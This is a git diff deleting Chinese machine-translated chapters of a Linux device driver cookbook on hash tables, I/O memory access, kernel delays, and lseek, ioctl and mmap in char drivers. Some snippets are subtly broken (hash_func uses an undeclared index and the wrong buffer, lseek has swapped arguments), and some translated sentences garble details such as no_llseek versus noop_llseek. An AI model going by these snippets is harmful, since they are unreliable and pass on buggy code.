bits) \ - struct hlist_head name[1 << (bits)] -``` - -完成后,可以构建一个包含`struct hlist_node`指针的结构来保存要插入的数据,就像我们之前对列表所做的那样: - -```sh -struct h_struct { - int key; - int data; - ... - /* other driver specific fields */ - ... - struct hlist_node node; -}; -``` - -`struct hlist_node`及其头部`struct hlist_head`在`linux/include/linux/types.h`头文件中定义如下: - -```sh -struct hlist_head { - struct hlist_node *first; -}; - -struct hlist_node { - struct hlist_node *next, **pprev; -}; -``` - -然后,可以使用如下`hash_add()`函数将新节点添加到哈希表中,其中`&entry.node`是数据结构中指向`struct hlist_node`的指针,`key`是哈希键: - -```sh -hash_add(data_hash, &entry.node, key); -``` - -关键可以是任何东西;然而,它通常是通过对要存储的数据使用一个特殊的散列函数来计算的。例如,具有 256 个桶的哈希表,可以用下面的`hash_func()`计算密钥: - -```sh -u8 hash_func(u8 *buf, size_t len) -{ - u8 key = 0; - - for (i = 0; i < len; i++) - key += data[i]; - - return key; -} -``` - -相反的操作,即删除,可以使用`hash_del()`功能完成,如下所示: - -```sh -hash_del(&entry.node); -``` - -然而,对于列表来说,最有趣的宏是那些用于迭代表的宏。存在两种机制;遍历整个哈希表,返回每个桶中的条目: - -```sh -hash_for_each(name, bkt, node, obj, member) -``` - -另一个只返回对应于密钥散列桶的条目: - -```sh -hash_for_each_possible(name, obj, member, key) -``` - -通过使用最后一个宏,从哈希表中删除节点的过程如下所示: - -```sh -void del_node(int data) -{ - int key = hash_func(data); - struct h_struct *entry; - - hash_for_each_possible(data_hash, entry, node, key) { - if (entry->data == data) { - hash_del(&entry->node); - return; - } - } -} -``` - -Note that this implementation just deletes the first matching entry. - -通过使用`hash_for_each_possible()`,我们可以将列表迭代到与一个键相关的桶中。 - -以下是`linux/include/linux/hashtable.h`文件中对`hash_add()`、`hash_del()`和`hash_for_each_possible()`的定义: - -```sh -/** - * hash_add - add an object to a hashtable - * @hashtable: hashtable to add to - * @node: the &struct hlist_node of the object to be added - * @key: the key of the object to be added - */ -#define hash_add(hashtable, node, key) \ - hlist_add_head(node, &hashtable[hash_min(key, HASH_BITS(hashtable))]) - -/** - * hash_del - remove an object from a hashtable - * @node: &struct hlist_node of the object to remove - */ -static inline void hash_del(struct hlist_node *node); - -/** - * hash_for_each_possible - iterate over all possible objects hashing to the - * same bucket - * @name: hashtable to iterate - * @obj: the type * to use as a loop cursor for each entry - * @member: the name of the hlist_node within the struct - * @key: the key of the objects to iterate over - */ -#define hash_for_each_possible(name, obj, member, key) \ - hlist_for_each_entry(obj, &name[hash_min(key, HASH_BITS(name))], member) -``` - -These are just a subset of all available functions to manage hash tables. You are encouraged to take a look at the `linux/include/linux/hashtable.h` file to see more. - -# 访问输入/输出内存 - -为了能够有效地与外设进行通信,我们需要有一种方法来读取和写入其寄存器,为此,我们有两种方法:使用**输入/输出端口**或使用**输入/输出存储器**。前一种机制在本书中没有涉及,因为它在现代平台中使用得不多(除了 x86 和 x86_64),而后者只是使用正常的内存区域来映射每个外围寄存器,是现代 CPU 中常用的机制。事实上,I/O 内存映射在**片上系统** ( **SoC** )系统中确实很常见,CPU 只需通过读写知名物理地址,就可以与内部外设进行对话;在这种情况下,每个外设都有自己的保留地址,每个都连接到一个寄存器。 - -To see a simple example of what I'm talking about, you can get the SAMA5D3 CPU's datasheet from [http://ww1.microchip.com/downloads/en/DeviceDoc/Atmel-11121-32-bit-Cortex-A5-Microcontroller-SAMA5D3_Datasheet_B.pdf](http://ww1.microchip.com/downloads/en/DeviceDoc/Atmel-11121-32-bit-Cortex-A5-Microcontroller-SAMA5D3_Datasheet_B.pdf); look up page 30, where a complete memory mapping of the whole CPU is reported. - -然后在与平台相关的设备树文件中报告该输入/输出内存映射。举个例子,如果我们看一下内核源码的`linux/arch/arm64/boot/dts/marvell/armada-37xx.dtsi`文件中我们 ESPRESSObin 的 CPU 的 UART 控制器的定义,可以看到如下设置: - -```sh -soc { - compatible = "simple-bus"; - #address-cells = <2>; - #size-cells = <2>; - ranges; - - internal-regs@d0000000 { - #address-cells = <1>; - #size-cells = <1>; - compatible = "simple-bus"; - /* 32M internal register @ 0xd000_0000 */ - ranges = <0x0 0x0 0xd0000000 0x2000000>; - -... - - uart0: serial@12000 { - compatible = "marvell,armada-3700-uart"; - reg = <0x12000 0x200>; - clocks = <&xtalclk>; - interrupts = - , - , - ; - interrupt-names = "uart-sum", "uart-tx", "uart-rx"; - status = "disabled"; - }; -``` - -如[第 4 章](04.html)、*所述,使用设备树*,我们可以推断出 UART0 控制器被映射到一个物理地址`0xd0012000`。我们在引导时看到的以下内核消息也证实了这一点: - -```sh -d0012000.serial: ttyMV0 at MMIO 0xd0012000 (irq = 0, base_baud = -1562500) is a mvebu-uart -``` - -好了,现在我们要记住`0xd0012000`是 UART 控制器的**物理地址**,但是我们的 CPU 知道**虚拟地址**,因为它使用它的 MMU 来获取 RAM 的访问权!那么,如何做好物理地址`0xd0012000`和虚拟地址之间的转换呢?答案是:通过记忆重映射。在对通用异步收发器控制器的寄存器进行每次读或写操作之前,必须在内核中完成该操作,否则会引发分段错误。 - -为了了解物理地址和虚拟地址之间的区别以及重新映射操作的行为,我们可以查看名为`devmem2`的实用程序,该程序可通过[http://free-electrons.com/pub/mirror/devmem2.c](http://free-electrons.com/pub/mirror/devmem2.c)的`wget`程序在 ESPRESSObin 中下载: - -```sh -# wget http://free-electrons.com/pub/mirror/devmem2.c -``` - -如果我们看一下代码,我们会看到以下操作: - -```sh - if((fd = open("/dev/mem", O_RDWR | O_SYNC)) == -1) FATAL; - printf("/dev/mem opened.\n"); - fflush(stdout); - - /* Map one page */ - map_base = mmap(0, MAP_SIZE, - PROT_READ | PROT_WRITE, - MAP_SHARED, fd, target & ~MAP_MASK); - if(map_base == (void *) -1) FATAL; - printf("Memory mapped at address %p.\n", map_base); - fflush(stdout); -``` - -所以`devmem2`程序只是打开`/dev/mem`设备,然后调用`mmap() `系统调用。该操作将导致在内核源代码中执行`linux/ drivers/char/mem.c `文件中的`mmap_mem()`方法,其中实现了`/dev/mem` char 设备: - -```sh -static int mmap_mem(struct file *file, struct vm_area_struct *vma) -{ - size_t size = vma->vm_end - vma->vm_start; - phys_addr_t offset = (phys_addr_t)vma->vm_pgoff << PAGE_SHIFT; - -... - - /* Remap-pfn-range will mark the range VM_IO */ - if (remap_pfn_range(vma, - vma->vm_start, vma->vm_pgoff, - size, - vma->vm_page_prot)) { - return -EAGAIN; - } - return 0; -} -``` - -Further information regarding these memory-remap operations and usage of the `remap_pfn_range()` functions and similar functions will be more clear in [Chapter 7](07.html), *Advanced Char Driver Operations*. - -好的,`mmap_mem()`方法将物理地址`0xd0012000`的内存重新映射操作转换成一个虚拟地址,该虚拟地址适合于被中央处理器用来访问通用异步收发器控制器的寄存器。 - -如果我们试图用 ESPRESSObin 上的以下命令编译代码,我们将从用户空间获得对 UART 控制器寄存器的可执行的适当访问: - -```sh -# make CFLAGS="-Wall -O" devmem2 cc -Wall -O devmem2.c -o devmem2 -``` - -You can safely ignore possible warning messages shown below: -`devmem2.c:104:33: warning: format '%X' expects argument of type 'unsigned int',` -`but argument 2 has type 'off_t {aka long int}' [-Wformat=]` -`printf("Value at address 0x%X (%p): 0x%X\n", target, virt_addr, read_result` -`);` -`devmem2.c:104:44: warning: format '%X' expects argument of type 'unsigned int',` -`but argument 4 has type 'long unsigned int' [-Wformat=]` -`printf("Value at address 0x%X (%p): 0x%X\n", target, virt_addr, read_result` -`);` -`devmem2.c:123:22: warning: format '%X' expects argument of type 'unsigned int',` -`but argument 2 has type 'long unsigned int' [-Wformat=]` -`printf("Written 0x%X; readback 0x%X\n", writeval, read_result);` -`devmem2.c:123:37: warning: format '%X' expects argument of type 'unsigned int',` -`but argument 3 has type 'long unsigned int' [-Wformat=]` -`printf("Written 0x%X; readback 0x%X\n", writeval, read_result);` - -然后,如果我们执行该程序,我们应该会得到以下输出: - -```sh -# ./devmem2 0xd0012000 -/dev/mem opened. -Memory mapped at address 0xffffbd41d000. -Value at address 0xD0012000 (0xffffbd41d000): 0xD -``` - -如我们所见,`devmem2`程序按照预期打印重新映射结果,实际读取使用虚拟地址完成,反过来,MMU 在`0xd0012000`转换为所需的物理地址。 - -好了,现在很明显,访问外设的寄存器需要内存重映射,我们可以假设一旦我们有一个虚拟地址物理映射到一个寄存器,我们可以简单地引用它来实际读取或写入数据。这是不对的!事实上,尽管内存中映射的硬件寄存器和通常的 RAM 内存之间有很强的相似性,但当我们访问输入/输出寄存器时,我们必须小心避免被 CPU 或编译器优化所欺骗,这些优化可以修改预期的输入/输出行为。 - -I/O 寄存器和 RAM 的主要区别是 I/O 操作有副作用,而内存操作没有;事实上,当我们将一个值写入 RAM 时,我们期望它被其他人保持不变,但是对于 I/O 内存来说,这是不正确的,因为我们的外设可能会改变寄存器中的一些数据,即使我们将特定的值写入其中。这是一个需要牢记的非常重要的事实,因为为了获得良好的性能,内存内容可以被缓存,读/写指令可以被中央处理器指令流水线重新排序;此外,编译器可以自主决定将数据值放入 CPU 寄存器中,而无需将其写入内存,即使它最终将数据值存储到内存中,写操作和读操作都可以在缓存内存上运行,而永远不会到达物理 RAM。即使它最终将它们存储到内存中,这两种优化在输入/输出内存上都是不可接受的。事实上,这些优化在应用于传统内存时是透明和良性的,但它们对输入/输出操作可能是致命的,因为外设有一种定义明确的编程方式,对其寄存器的读写操作不能被重新排序或缓存而不会导致故障。 - -这些是我们不能简单地引用虚拟内存地址来读写内存映射外设数据的主要原因。因此,驱动必须确保在访问寄存器时不执行缓存,也不发生读写重新排序;解决方案是使用实际执行读写操作的特殊函数。在`linux/include/asm-generic/io.h`头文件中,我们可以找到这些函数,如下例所示: - -```sh -static inline void writeb(u8 value, volatile void __iomem *addr) -{ - __io_bw(); - __raw_writeb(value, addr); - __io_aw(); -} - -static inline void writew(u16 value, volatile void __iomem *addr) -{ - __io_bw(); - __raw_writew(cpu_to_le16(value), addr); - __io_aw(); -} - -static inline void writel(u32 value, volatile void __iomem *addr) -{ - __io_bw(); - __raw_writel(__cpu_to_le32(value), addr); - __io_aw(); -} - -#ifdef CONFIG_64BIT -static inline void writeq(u64 value, volatile void __iomem *addr) -{ - __io_bw(); - __raw_writeq(__cpu_to_le64(value), addr); - __io_aw(); -} -#endif /* CONFIG_64BIT */ -``` - -The preceding functions are to write data only; you are encouraged to take a look at the header file to see definitions of reading functions, such as `readb()`, `readw()`, `readl()`, and `readq()`.  - -根据要操作的寄存器的大小,每个函数被定义为与定义良好的数据类型一起使用;此外,它们中的每一个都使用内存屏障来指示 CPU 以明确定义的顺序执行读写操作。 - -I'm not going to explain what memory barriers are in this book; if you're curious, you can always read more about it in the kernel documentation directory in the `linux/Documentation/memory-barriers.txt` file  - -作为前面函数的一个简单例子,我们可以看看 Linux 源代码的`linux/drivers/watchdog/sunxi_wdt.c`文件中的`sunxi_wdt_start()`函数: - -```sh -static int sunxi_wdt_start(struct watchdog_device *wdt_dev) -{ -... - void __iomem *wdt_base = sunxi_wdt->wdt_base; - const struct sunxi_wdt_reg *regs = sunxi_wdt->wdt_regs; - -... - - /* Set system reset function */ - reg = readl(wdt_base + regs->wdt_cfg); - reg &= ~(regs->wdt_reset_mask); - reg |= regs->wdt_reset_val; - writel(reg, wdt_base + regs->wdt_cfg); - - /* Enable watchdog */ - reg = readl(wdt_base + regs->wdt_mode); - reg |= WDT_MODE_EN; - writel(reg, wdt_base + regs->wdt_mode); - - return 0; -} -``` - -一旦获得了寄存器的基址`wdt_base`和寄存器的映射`regs`,我们就可以简单地使用`readl()`和`writel()`来执行我们的读写操作,如前一节所示,我们可以放心它们会被正确执行。 - -# 花时间在内核中 - -在 [第五章](05.html)*管理中断和并发*中,我们看到了如何在以后推迟动作;但是,我们可能仍然需要在外围设备上的两次操作之间等待一段时间,如下所示: - -```sh -writeb(0x12, ctrl_reg); -wait_us(100); -writeb(0x00, ctrl_reg); -``` - -也就是说,如果我们必须将一个值写入寄存器,然后等待 100 微秒,然后写入另一个值,这些操作可以通过简单地使用`linux/include/linux/delay.h`头文件(和其他头文件)中定义的函数来完成,而不是使用之前介绍的技术(内核定时器和工作队列等): - -```sh -void ndelay(unsigned long nsecs); -void udelay(unsigned long usecs); -void mdelay(unsigned long msecs); - -void usleep_range(unsigned long min, unsigned long max); -void msleep(unsigned int msecs); -unsigned long msleep_interruptible(unsigned int msecs); -void ssleep(unsigned int seconds); -``` - -所有这些功能只是用来延迟特定的时间量,以纳米、微米或毫秒(或者只是以秒为单位,如`ssleep()`)表示。 - -第一组函数(即`*delay()`函数)可以在中断或进程上下文中的任何地方使用,而第二组函数必须在进程上下文中使用,因为它们可能隐式进入睡眠状态。 - -此外,我们看到,例如,`usleep_range()`功能通过允许高分辨率定时器利用已经安排好的中断,而不是仅仅为这个睡眠安排一个新的中断,来花费最小和最大的睡眠时间来降低功耗。以下是`linux/kernel/time/timer.c`文件中的功能描述: - -```sh -/** - * usleep_range - Sleep for an approximate time - * @min: Minimum time in usecs to sleep - * @max: Maximum time in usecs to sleep - * - * In non-atomic context where the exact wakeup time is flexible, use - * usleep_range() instead of udelay(). The sleep improves responsiveness - * by avoiding the CPU-hogging busy-wait of udelay(), and the range reduces - * power usage by allowing hrtimers to take advantage of an already- - * scheduled interrupt instead of scheduling a new one just for this sleep. - */ -void __sched usleep_range(unsigned long min, unsigned long max); -``` - -同样,在同一个文件中,我们看到`msleep_interruptible()`是`msleep()`的变体,它可以被信号中断(在*等待事件*食谱中,在 T5【第 5 章、*管理中断和并发,*我们谈到了这种可能性),返回值只是由于中断而没有休眠的时间,单位为毫秒: - -```sh -/** - * msleep_interruptible - sleep waiting for signals - * @msecs: Time in milliseconds to sleep for - */ -unsigned long msleep_interruptible(unsigned int msecs); -``` - -最后,我们还应该注意以下几点: - -* `*delay()`函数使用时钟速度的 jiffy 估计值(`loops_per_jiffy`值),并将忙碌地等待足够的循环周期来实现所需的延迟。 -* `*delay()`如果计算值过低`loops_per_jiffy`(由于执行定时器中断所花费的时间),或者影响执行循环函数所花费时间的缓存行为,或者由于 CPU 时钟速率的变化,函数可能会提前返回。 -* `udelay()`是一般首选的 API,`ndelay()`的级别精度在很多非 PC 设备上可能实际不存在。 -* `mdelay()`是`udelay()`周围的一个宏包装器,用于在向`udelay()`传递大参数时考虑可能的溢出。这就是不鼓励使用`mdelay()`的原因,应该重构代码以允许使用`msleep()`。 \ No newline at end of file diff --git a/docs/linux-device-driver-dev-cb/12.md b/docs/linux-device-driver-dev-cb/12.md deleted file mode 100644 index b1011a3c..00000000 --- a/docs/linux-device-driver-dev-cb/12.md +++ /dev/null @@ -1,645 +0,0 @@ -# 十二、附加信息:高级字符驱动操作 - -# 技术要求 - -当我们必须管理外设时,通常需要修改其内部配置设置,或者从用户空间映射它,就好像它是一个内存缓冲区,我们可以通过引用指针来修改内部数据。 - -For example, frame buffers or frame grabbers are good candidates to be mapped as a big chunk of memory from the user space point of view. - -在这种情况下,有`lseek()`、`ioctl()`和`mmap()`系统调用的支持是根本。如果从用户空间来看,这些系统调用的使用并不棘手,那么在内核中,它们需要驱动开发人员的一些关注,尤其是`mmap()`系统调用,它涉及内核**内存管理单元** ( **MMU** )。 - -不仅驱动开发人员必须关注的主要任务之一是与用户空间的数据交换机制;事实上,实现这种机制的良好实现可能会简化许多外围设备的管理。例如,当一个或多个进程访问外围设备时,使用读写内存缓冲区可以提高系统性能,为用户空间开发人员提供一系列设置和管理机制,使他们能够从我们的硬件中获得最大收益。 - -# 使用 lseek()在文件中上下移动 - -这里我们应该记住`read()`和`write()`系统调用的原型如下: - -```sh -ssize_t (*read) (struct file *filp, - char __user *buf, size_t len, loff_t *ppos); -ssize_t (*write) (struct file *filp, - const char __user *buff, size_t len, loff_t *ppos); -``` - -当我们使用`chapter_03/chrdev_test.c`文件中的程序测试我们的字符驱动时,我们注意到我们无法重新读取写入的数据,除非我们对文件进行如下修补: - -```sh ---- a/chapter_03/chrdev_test.c -+++ b/chapter_03/chrdev_test.c -@@ -55,6 +55,16 @@ int main(int argc, char *argv[]) - dump("data written are: ", buf, n); - } - -+ close(fd); -+ -+ ret = open(argv[1], O_RDWR); -+ if (ret < 0) { -+ perror("open"); -+ exit(EXIT_FAILURE); -+ } -+ printf("file %s reopened\n", argv[1]); -+ fd = ret; -+ - for (c = 0; c < sizeof(buf); c += n) { - ret = read(fd, buf, sizeof(buf)); - if (ret == 0) { -``` - -那是没有关闭然后重新打开与我们的驱动连接的文件(以这种方式,内核自动将`ppos`指向的值重置为`0`)。 - -但是,这并不是修改`ppos;`指向的值的唯一方法,其实我们也可以用`lseek()`系统调用来做。系统调用的原型,如其手册页(`man 2 lseek`)所述,如下所示: - -```sh -off_t lseek(int fd, off_t offset, int whence); -``` - -这里,`whence`参数可以采用以下值(由以下代码中的定义表示): - -```sh - SEEK_SET - The file offset is set to offset bytes. - - SEEK_CUR - The file offset is set to its current location plus offset - bytes. - - SEEK_END - The file offset is set to the size of the file plus offset - bytes. -``` - -因此,例如,如果我们希望移动`ppos`来指向我们设备的数据缓冲区的开始,就像我们在[第 3 章](03.html)、*使用字符驱动*中所做的那样,但是不关闭和重新打开设备文件,我们可以这样做: - -```sh ---- a/chapter_03/chrdev_test.c -+++ b/chapter_03/chrdev_test.c -@@ -55,6 +55,13 @@ int main(int argc, char *argv[]) - dump("data written are: ", buf + c, n); - } - -+ ret = lseek(fd, SEEK_SET, 0); -+ if (ret < 0) { -+ perror("lseek"); -+ exit(EXIT_FAILURE); -+ } -+ printf("*ppos moved to 0\n"); -+ - for (c = 0; c < sizeof(buf); c += n) { - ret = read(fd, buf, sizeof(buf)); - if (ret == 0) { -``` - -Note that all these modifications are stored in `modify_lseek_to_chrdev_test.patch` file from GitHub repository and they can be applied by using the next command within the `chapter_03` directory, where the file `chrdev_test.c` is located: -**`$ patch -p2 < ../../chapter_07/modify_lseek_to_chrdev_test.patch`** - -如果我们看一下`linux/include/uapi/linux/fs.h`头文件,我们可以看到这些定义是如何声明的: - -```sh - -#define SEEK_SET 0 /* seek relative to beginning of file */ -#define SEEK_CUR 1 /* seek relative to current file position */ -#define SEEK_END 2 /* seek relative to end of file */ -``` - -`lseek()`实现是如此的琐碎,以至于在`linux/fs/read_write.c`文件中我们可以找到这个方法的一个名为`default_llseek()`的默认实现。其原型报道如下: - -```sh -loff_t default_llseek(struct file *file, - loff_t offset, int whence); -``` - -这是因为如果我们不指定自己的实现,那么内核将自动使用前面代码块中的实现。但是,如果我们快速浏览一下`default_llseek( )`功能,我们会注意到它不适合我们的设备,因为它过于面向*文件*(也就是说,当`lseek()`操作的文件是真实文件而不是外设时,它工作得很好),因此我们可以使用下面两种可供选择的实现方式之一来代替`lseek()`不执行任何操作,方法是使用`noop_llseek()`功能: - -```sh -/** - * noop_llseek - No Operation Performed llseek implementation - * @file: file structure to seek on - * @offset: file offset to seek to - * @whence: type of seek - * - * This is an implementation of ->llseek useable for the rare special case when - * userspace expects the seek to succeed but the (device) file is actually not - * able to perform the seek. In this case you use noop_llseek() instead of - * falling back to the default implementation of ->llseek. - */ -loff_t noop_llseek(struct file *file, loff_t offset, int whence) -{ - return file->f_pos; -} -``` - -或者我们可以只返回一个错误,然后通过使用`no_llseek()`功能向用户空间发出信号,表明我们的设备不适合被寻找: - -```sh -loff_t no_llseek(struct file *file, loff_t offset, int whence) -{ - return -ESPIPE; -} -``` - -The two preceding functions are located in the `linux/fs/read_write.c` file of the kernel sources. - -上面关于`noop_llseek()`的评论很好地描述了这两个功能的不同用法;虽然`default_llseek()`通常不适合 char 设备,但我们可以简单地使用`no_llseek()`,或者在用户空间期望寻道成功但(设备)文件实际上无法执行寻道的罕见特殊情况下,我们可以使用`no_llseek()`如下: - -```sh -static const struct file_operations chrdev_fops = { - .owner = THIS_MODULE, - .llseek = no_llseek, - .read = chrdev_read, - .write = chrdev_write, - .open = chrdev_open, - .release = chrdev_release -}; -``` - -This piece of code is referred to by the chrdev character driver as discussed in [Chapter 4](04.html), *Using the Device Tree*, within the  `chapter_04/chrdev/chrdev.c` file on GitHub. - -# 对自定义命令使用 ioctl() - -在[第 3 章](https://cdp.packtpub.com/linux_device_driver_development_cookbook/wp-admin/post.php?post=30&action=edit#post_26)、 *W* *与 Char Drivers* 的合作中,我们讨论了文件抽象,并提到从用户空间的角度来看,Char Drivers 与通常的文件非常相似。然而,它根本不是一个文件;它被用作文件,但它属于外设,通常,外设需要配置才能正常工作,因为它们可能支持不同的操作方法。 - -例如,让我们考虑一个串行端口;它看起来像一个文件,我们可以(永远)使用`read()`和`write()`系统调用来读取或写入,但是要做到这一点,在大多数情况下,我们还必须设置一些通信参数,如波特率、奇偶校验位等。当然,这些参数不能用`read()`或`write()`来设置,也不能用`open()`系统调用来设置(即使它可以将一些访问模式设置为只读或只写),所以内核给我们提供了一个专用的系统调用,我们可以用它来设置这样的串行通信参数。这个系统叫`ioctl()`。 - -从用户空间的角度来看,它看起来像它的手册页(可通过使用`man 2 ioctl `命令获得): - -```sh -SYNOPSIS - #include - - int ioctl(int fd, unsigned long request, ...); - -DESCRIPTION - The ioctl() system call manipulates the underlying device parameters of special files. In particular, many operating characteristics of character special files (e.g., terminals) may be controlled with ioctl() requests. -``` - -如前一段所述,`ioctl()`系统调用通过将文件描述符(通过打开我们的设备获得)作为第一个参数,并将设备相关的请求代码作为第二个参数,来操纵特殊文件的底层设备参数(就像我们的 char 设备一样,但事实上不仅如此,它也可以在网络或块设备上使用)。最后,作为第三个也是可选的参数,一个非类型化的内存指针,用户空间程序员可以使用它与驱动交换数据。 - -因此,得益于这个通用定义,驱动开发人员可以实现他们的自定义命令来管理底层设备。即使不是严格要求,一个`ioctl()`命令已经在其中编码了参数是输入参数还是输出参数,以及第三个参数的大小(以字节为单位)。用于指定`ioctl()`请求的宏和定义位于`linux/include/uapi/asm-generic/ioctl.h`文件中,如下所述: - -```sh -/* - * Used to create numbers. - * - * NOTE: _IOW means userland is writing and kernel is reading. _IOR - * means userland is reading and kernel is writing. - */ -#define _IO(type,nr) _IOC(_IOC_NONE,(type),(nr),0) -#define _IOR(type,nr,size) _IOC(_IOC_READ,(type),(nr),(_IOC_TYPECHECK(size))) -#define _IOW(type,nr,size) _IOC(_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size))) -#define _IOWR(type,nr,size) _IOC(_IOC_READ|_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size))) -``` - -我们在前面的评论中也可以看到,`read()`和`write()`操作是从用户空间的角度来看的,所以当我们把一个命令标记为*写*的时候,我们的意思是用户空间在写,内核在读,而当我们把一个命令标记为*读*的时候,我们的意思正好相反。 - -作为如何使用这些宏的一个非常简单的例子,我们可以看看文件`linux/include/uapi/linux/watchdog.h`中关于看门狗的一个实现: - -```sh -#include -#include - -#define WATCHDOG_IOCTL_BASE 'W' - -struct watchdog_info { - __u32 options; /* Options the card/driver supports */ - __u32 firmware_version; /* Firmware version of the card */ - __u8 identity[32]; /* Identity of the board */ -}; - -#define WDIOC_GETSUPPORT _IOR(WATCHDOG_IOCTL_BASE, 0, struct watchdog_info) -#define WDIOC_GETSTATUS _IOR(WATCHDOG_IOCTL_BASE, 1, int) -#define WDIOC_GETBOOTSTATUS _IOR(WATCHDOG_IOCTL_BASE, 2, int) -#define WDIOC_GETTEMP _IOR(WATCHDOG_IOCTL_BASE, 3, int) -#define WDIOC_SETOPTIONS _IOR(WATCHDOG_IOCTL_BASE, 4, int) -#define WDIOC_KEEPALIVE _IOR(WATCHDOG_IOCTL_BASE, 5, int) -#define WDIOC_SETTIMEOUT _IOWR(WATCHDOG_IOCTL_BASE, 6, int) -#define WDIOC_GETTIMEOUT _IOR(WATCHDOG_IOCTL_BASE, 7, int) -#define WDIOC_SETPRETIMEOUT _IOWR(WATCHDOG_IOCTL_BASE, 8, int) -#define WDIOC_GETPRETIMEOUT _IOR(WATCHDOG_IOCTL_BASE, 9, int) -#define WDIOC_GETTIMELEFT _IOR(WATCHDOG_IOCTL_BASE, 10, int) -``` - -看门狗(或看门狗定时器)通常用于自动化系统。这是一个电子计时器,用于检测和恢复计算机故障。事实上,在其正常运行期间,系统中的一个进程应该定期重置看门狗定时器,以防止其超时,因此,如果由于硬件故障或程序错误,系统未能重置看门狗,定时器将消失,系统将自动重新启动。 - -这里我们定义了一些管理看门狗外设的命令,每个命令都是使用`_IOR()`宏(用于指定读取命令)或`_IOWR`宏(用于指定读/写命令)定义的。每个命令都有一个渐进数字,后跟第三个参数指向的数据类型,可以是简单类型(如前面的`int`类型)或更复杂的类型(如前面的`struct watchdog_info`)。最后,`WATCHDOG_IOCTL_BASE`公共参数只是用来添加一个随机值,以避免命令重复。 - -Usage of the `type` parameter (`WATCHDOG_IOCTL_BASE` in the preceding example) in these macros will be more clear later when we're going to explain our example. - -当然这是一个纯粹的约定,我们可以简单地用递进的整数来定义我们的`ioctl()`命令,无论如何它都会完美地工作;然而,通过这样做,我们将在命令代码中嵌入许多有用的信息。 - -一旦定义了所有命令,我们需要添加我们的自定义`ioctl()`实现,通过查看`linux/include/linux/fs.h`文件中的`struct file_operations`,我们看到存在两个命令: - -```sh -struct file_operations { -... - long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long); - long (*compat_ioctl) (struct file *, unsigned int, unsigned long); -``` - -在 2.6.36 以上的内核中,只有一个`ioctl()`方法获得了**大内核锁** ( **BKL** ),所以其他的都不能同时执行。这导致了多处理器机器上非常糟糕的性能,所以花了很大的力气来消除它,这就是为什么引入`unlocked_ioctl()`的原因。通过使用它,每个驱动开发人员都可以选择使用哪个锁。 - -另一边,`compat_ioctl()`虽然是同时添加的,但实际上与`unlocked_ioctl()`无关。其目的是允许 32 位用户空间程序在 64 位内核上进行`ioctl()`调用。 - -最后,我们应该首先注意到,命令和结构定义必须在用户和内核空间中使用,所以当我们定义交换的数据类型时,我们必须使用两个空间都可用的那些数据类型(这就是为什么使用了`__u32`类型,而不是实际上只存在于内核内部的`u32`)。 - -此外,当我们希望使用自定义`ioctl()`命令时,我们必须将它们定义到一个单独的头文件中,该文件必须与用户空间共享;通过这种方式,我们可以将内核代码与用户空间分开。然而,万一很难将所有用户空间代码从内核空间中分离出来,我们可以使用如下代码片段中的`__KERNEL__`定义来指示预处理器根据我们编译到的空间排除一些代码: - -```sh -#ifdef __KERNEL__ - /* This is code for kernel space */ - ... -#else - /* This is code for user space */ - ... -#endif -``` - -That's why, usually, header files holding `ioctl()` commands are usually located under the `linux/include/uapi` directory, which holds all header files needed by userspace programs for compilation. - -# 使用 mmap()访问输入/输出内存 - -在第 6 章*【其他内核内部】*的*获取输入/输出内存*配方中,我们看到了内存管理单元是如何工作的,以及我们如何获取对内存映射外设的访问。在内核空间内,我们必须指示 MMU,以便正确地将一个虚拟地址翻译成一个适当的地址,这个地址必须指向一个我们的外设所属的定义明确的物理地址,否则,我们无法控制它! - -另一方面,在该部分中,我们还使用了名为`devmem2`的用户空间工具,该工具可用于使用`mmap()`系统调用从用户空间访问物理地址。这个系统调用真的很有趣,因为它允许我们做很多有用的事情,所以让我们先来看看它的手册页(`man 2 mmap`): - -```sh -NAME - mmap, munmap - map or unmap files or devices into memory - -SYNOPSIS - #include - - void *mmap(void *addr, size_t length, int prot, int flags, - int fd, off_t offset); - int munmap(void *addr, size_t length); - -DESCRIPTION - mmap() creates a new mapping in the virtual address space of the call‐ - ing process. The starting address for the new mapping is specified in - addr. The length argument specifies the length of the mapping (which - must be greater than 0). -``` - -从前面的片段中我们可以看到,通过使用`mmap()`,我们可以在调用进程的虚拟地址空间中创建一个新的映射,该映射可以与作为参数传递的文件描述符`fd`相关。 - -通常,该系统调用用于映射系统内存中的正常文件,这样就可以使用正常指针而不是通常的`read()`和`write()`系统调用来寻址该文件。 - -举个简单的例子,让我们考虑一个常见的文件,如下所示: - -```sh -$ cat textfile.txt -This is a test file - -This is line 3. - -End of the file -``` - -这是一个包含三行文本的普通文本文件。如前所述,我们只需使用`cat`命令就可以在我们的终端上读写它;当然,我们现在知道`cat`命令运行一个`open()`然后对文件执行一个或多个`read()`操作,接着对标准输出执行一个或多个`write()`操作(而标准输出又是一个连接到我们终端的文件抽象)。但是,也可以使用`mmap()`系统调用读取该文件,因为它是字符的内存缓冲区,这可以通过以下步骤完成: - -```sh - ret = open(argv[1], O_RDWR); - if (ret < 0) { - perror("open"); - exit(EXIT_FAILURE); - } - printf("file %s opened\n", argv[1]); - fd = ret; - - /* Try to remap file into memory */ - addr = mmap(NULL, len, PROT_READ | PROT_WRITE, - MAP_FILE | MAP_SHARED, fd, 0); - if (addr == MAP_FAILED) { - perror("mmap"); - exit(EXIT_FAILURE); - } - - ptr = (char *) addr; - for (i = 0; i < len; i++) - printf("%c", ptr[i]); -``` - -A complete code implementation of the preceding example will be presented in the following snippet. This is a snippet of the `chrdev_mmap.c` file. - -因此,正如我们所看到的,我们首先像往常一样打开文件,但是随后,我们没有使用`read()`系统调用,而是执行了`mmap()`,最后,我们使用返回的内存地址作为字符指针来打印出内存缓冲区。请注意,在`mmap()`之后,我们将在内存中有一个类似文件的图像。 - -如果我们尝试在`textfile.txt `文件上执行前面的代码,我们会得到我们期望的结果: - -```sh -# ls -l textfile.txt --rw-r--r-- 1 root root 54 May 11 16:41 textfile.txt -# ./chrdev_mmap textfile.txt 54 -file textfile.txt opened -got address=0xffff8357b000 and len=54 ---- -This is a test file - -This is line 3. - -End of the file -``` - -Note that I used the `ls` command to get the file length needed by the `chrdev_mmap` program. - -现在我们应该问问自己,是否有一种方法可以映射一个字符设备(从用户空间的角度来看,它看起来非常类似于一个文件),就像我们对上面的文本文件所做的那样;显然,答案是肯定的!我们必须使用`struct file_operations`中定义的`mmap()`方法,如下所示: - -```sh -struct file_operations { -... - int (*mmap) (struct 